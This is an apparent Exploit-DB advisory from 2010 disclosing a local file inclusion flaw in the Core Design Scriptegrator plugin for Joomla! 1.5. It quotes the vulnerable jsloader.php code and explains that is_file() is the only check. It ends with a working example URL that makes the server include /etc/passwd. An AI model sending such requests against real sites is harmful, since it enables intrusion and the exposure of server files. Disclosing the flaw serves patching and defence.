Joomla! Plugin Core Design Scriptegrator - Local File Inclusion

EDB-ID:

11498


Author:

S2 Crew

Type:

webapps


Platform:

PHP

Date:

2010-02-18


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# Exploit Title: Core Design Scriptegrator plugin for Joomla! 1.5 file inclusion
# Author: S2 Crew [Hungary]
# Tested on: Debian Linux, Apache, Joomla! 1.5

# Code:

There's a file called jsloader.php which takes an array of file names
from the HTTP GET parameters and calls include() on every one of them.

-----------------8<-----------------------------------------------
<?php
/**
 * Core Design Scriptegrator plugin for Joomla! 1.5
 */

define('DS', DIRECTORY_SEPARATOR);
$dir = dirname(__FILE__);

$files = array();
if (isset($_GET['files']) && $_GET['files']) $files = $_GET['files'];

if (extension_loaded('zlib') && !ini_get('zlib.output_compression')) @ob_start('ob_gzhandler');

header("Content-type: application/x-javascript");
header('Cache-Control: must-revalidate');
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 86400) . ' GMT');

foreach ($files as $file) {
        if (is_file($file)) {
                include($file);
                echo "\n";
        }
}
?>
-----------------8<-----------------------------------------------

The problem is that the only protection is the is_file() call (therefore it cannot
be used for remote file inclusion), so it's trivial to exploit this vulnerability to
execute the PHP interpreter on any file on the target system the httpd user can read.

Example:
http://server/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd